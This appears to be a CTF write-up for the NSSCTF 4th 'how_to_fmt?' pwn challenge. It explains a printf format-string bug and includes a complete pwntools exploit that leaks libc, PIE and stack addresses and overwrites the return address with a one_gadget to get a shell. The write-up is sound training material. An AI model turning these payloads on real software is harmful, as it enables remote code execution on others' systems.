NSSCTF4th_Pwn_WP


附件下载:https://z-l-s-f.lanzouq.com/icIXh34gwoxi


how_to_fmt?

check:

1
2
3
4
5
6
7
8
9
[*] '/home/zlsf/LS/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No

ida:

1
2
3
4
5
6
7
8
9
10
11
12
unsigned __int64 __fastcall vuln(const char *a1)
{
char s[136]; // [rsp+10h] [rbp-90h] BYREF
unsigned __int64 v3; // [rsp+98h] [rbp-8h]

v3 = __readfsqword(0x28u);
memset(s, 0, 0x80uLL);
printf(a1);
read(0, s, 0x80uLL);
printf(s);
return v3 - __readfsqword(0x28u);
}

根据 ida 显示,只有一次栈上的字符串格式化漏洞,没有后门也没有其他任何有用的函数或片段。

考虑到保护全开,我们应该使用 gdb 调试从栈上寻找机会。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
00:0000│ rsp     0x7ffd2d48c7f0 —▸ 0x7ffd2d48c820 ◂— 0
01:0008│-098 0x7ffd2d48c7f8 —▸ 0x6201a822a010 (log) ◂— 'welcome fmt!\n'
02:0010│ rdi rsi 0x7ffd2d48c800 ◂— 'AAAAAAAA'
03:0018│-088 0x7ffd2d48c808 ◂— 0
... ↓ 14 skipped
12:0090│-010 0x7ffd2d48c880 —▸ 0x7ffd2d48c890 —▸ 0x7ffd2d48c8a0 —▸ 0x7ffd2d48c940 —▸ 0x7ffd2d48c9a0 ◂— ...
13:0098│-008 0x7ffd2d48c888 ◂— 0xe3de165ca93e4300
14:00a0│ rbp 0x7ffd2d48c890 —▸ 0x7ffd2d48c8a0 —▸ 0x7ffd2d48c940 —▸ 0x7ffd2d48c9a0 ◂— 0
15:00a8│+008 0x7ffd2d48c898 —▸ 0x6201a82272ea (main+33) ◂— mov eax, 0
16:00b0│+010 0x7ffd2d48c8a0 —▸ 0x7ffd2d48c940 —▸ 0x7ffd2d48c9a0 ◂— 0
17:00b8│+018 0x7ffd2d48c8a8 —▸ 0x78916b82a1ca (__libc_start_call_main+122) ◂— mov edi, eax
18:00c0│+020 0x7ffd2d48c8b0 —▸ 0x7ffd2d48c8f0 —▸ 0x6201a8229da0 (__do_global_dtors_aux_fini_array_entry) —▸ 0x6201a8227180 (__do_global_dtors_aux) ◂— endbr64
19:00c8│+028 0x7ffd2d48c8b8 —▸ 0x7ffd2d48c9c8 —▸ 0x7ffd2d48e260 ◂— 0x5953006e77702f2e /* './pwn' */
1a:00d0│+030 0x7ffd2d48c8c0 ◂— 0x1a8226040
1b:00d8│+038 0x7ffd2d48c8c8 —▸ 0x6201a82272c9 (main) ◂— endbr64
1c:00e0│+040 0x7ffd2d48c8d0 —▸ 0x7ffd2d48c9c8 —▸ 0x7ffd2d48e260 ◂— 0x5953006e77702f2e /* './pwn' */
1d:00e8│+048 0x7ffd2d48c8d8 ◂— 0x59446ddd09e915ac

当断点下在 .text:00000000000012AD call _printf 时我们不难发现栈上 0x7ffd2d48c880 和 0x7ffd2d48c890 都存在二级指向且 0x7ffd2d48c880 —▸ 0x7ffd2d48c890 —▸ 0x7ffd2d48c8a0 。

此时我们不难想到用一次字格通过 0x7ffd2d48c880 来修改 0x7ffd2d48c890 —▸ 0x7ffd2d48c898 然后再通过 0x7ffd2d48c890 修改 0x7ffd2d48c898 —▸ 0x6201a8227233(考虑到后续栈利用所以不返回 0x6201a822722E)。

但是如果实践过就会发现这样的连续修改是不成立的,也就是第二次修改会不成功。详见:看雪学院 这位大佬的文章的 4.连打不成立的原理 。

但是这并不意味着我们不能修改正在被修改的地址 0x7ffd2d48c890 。通过调试我们发现在使用如下 payload 会失败:

1
payload = b"%" + stre(str1) + b"c" + b"%24$hhn" + b"%" + stre(str2) + b"c" + b"%26$hhn"

而使用这个 payload 会成功:

1
payload = b"%c"*22 + b"%" + stre(str1) + b"c" + b"%hhn" + b"%" + stre(str2) + b"c" + b"%26$hhn"

他们的区别在于一个是成功的那个只使用了一次的 $ 来偏移,而原本 %24$ 的位置则是通过 22 个 %c 滑行过去的。

知道了这一点下面就好办了,再给成功的 pyload 加一点暴露地址的功能,等我们回到 vuln 函数以后打一个 one_gadget 就能 getshell 。

由于存在 pie 所以 vuln 的地址需要爆破,所以打通的概率为十六分之一。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
from pwn import *
#from ctypes import *

def stre(a) : return str(a).encode()
def ph(a,b="addr") : print(b+": "+hex(a))
def re(a) : return p.recv(a)
def pre(a) : print(p.recv(a))
def reu(a,b=False) : return p.recvuntil(a,drop=b)
def rel() : return p.recvline()
def se(a) : p.send(a)
def sea(a,b) : p.sendafter(a,b)
def sel(a) : p.sendline(a)
def sela(a,b) : p.sendlineafter(a,b)
def op() : p.interactive()
def cp() : p.close()
def raddr64() : return u64(p.recv(6).ljust(8,b'\x00'))
def raddr32() : return u32(p.recv(4))
def raddr_T() : return int(re(14),16)
def raddr_A() : return int(reu(b"-",True),16)
def orw_rop64(pop_rdi,pop_rsi,pop_rdx,flag_addr,open_addr,read_addr,write_addr):
orw = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr)
orw+= p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30)
orw+= p64(read_addr)
orw+= p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30)
orw+= p64(write_addr)
return orw
def getorw(name,buf,Arch) :
sh=shellcraft.open(name)
sh+=shellcraft.read(3,buf,0x30)
sh+=shellcraft.write(1,buf,0x30)
sh=asm(sh,arch=Arch)
return sh
def gdbp(p,a='') :
if a!='':
gdb.attach(p,a)
pause()
else :
gdb.attach(p)
pause()

#p = remote({IP})
#p = process("./pwn")
#elf = ELF("./pwn")
libc = ELF("./libc.so.6")
#lib = cdll.LoadLibrary(None)

#p = process(["qemu-mipsel-static","-g", "9999","-L","./","./pwn"])
#p = process(["qemu-mipsel-static","-L","./","./pwn"])

#context.log_level = 'debug'
#context.arch = 'amd64'
#context.os = 'linux'
#elf.arch , elf.so

#loadsym = "loadsym ./libc.so.6.debug ./ld.debug /home/zlsf/LS/glibc-2.23\n"
def exp():
str1 = 0x8a + 0x48
str2 = str1 + 0x79

payload = b"%c"*22 + b"%" + stre(str1) + b"c" + b"%hhn" + b"%" + stre(str2) + b"c" + b"%26$hhn"
payload+= b"-%29$p-%27$p-%31$p-"
sea(b"!\n", payload)

reu(b"-")
libc_base = raddr_A() - 0x2a1ca
pie_addr = raddr_A() - 0x12ea
stack_addr = raddr_A() - 0x1d8 + 0xb8
stack_one = stack_addr - 0x68 + 0x98
ph(libc_base,"libc_base")
ph(pie_addr,"pie_addr")
ph(stack_addr,"stack_addr")

one = libc_base + 0xef52b
ph(one,"one")

str0 = stack_one & 0xFF
str1 = (one & 0xFF) - str0
str2 = ((one>>8) & 0xFFFF) - str0 - str1

payload = b"%" + stre(str0) + b"c" + b"%" + stre(14) + b"$hhn"
payload+= b"%" + stre(str1) + b"c" + b"%" + stre(13) + b"$hhn"
payload+= b"%" + stre(str2) + b"c" + b"%" + stre(15) + b"$hn"
payload = payload.ljust(0x28,b"A")
payload+= p64(stack_addr) + p64(stack_addr-0x8) + p64(stack_addr+1)

sleep(0.1)
se(payload)

op()

while 1:
try:
p = process("./pwn")
exp()
except Exception as e:
cp()
continue
break

NSSCTF4th_Pwn_WP
https://zlsf-zl.github.io/2025/08/25/NSSCTF4th-Pwn-WP/
作者
ZLSF
发布于
2025年8月25日
许可协议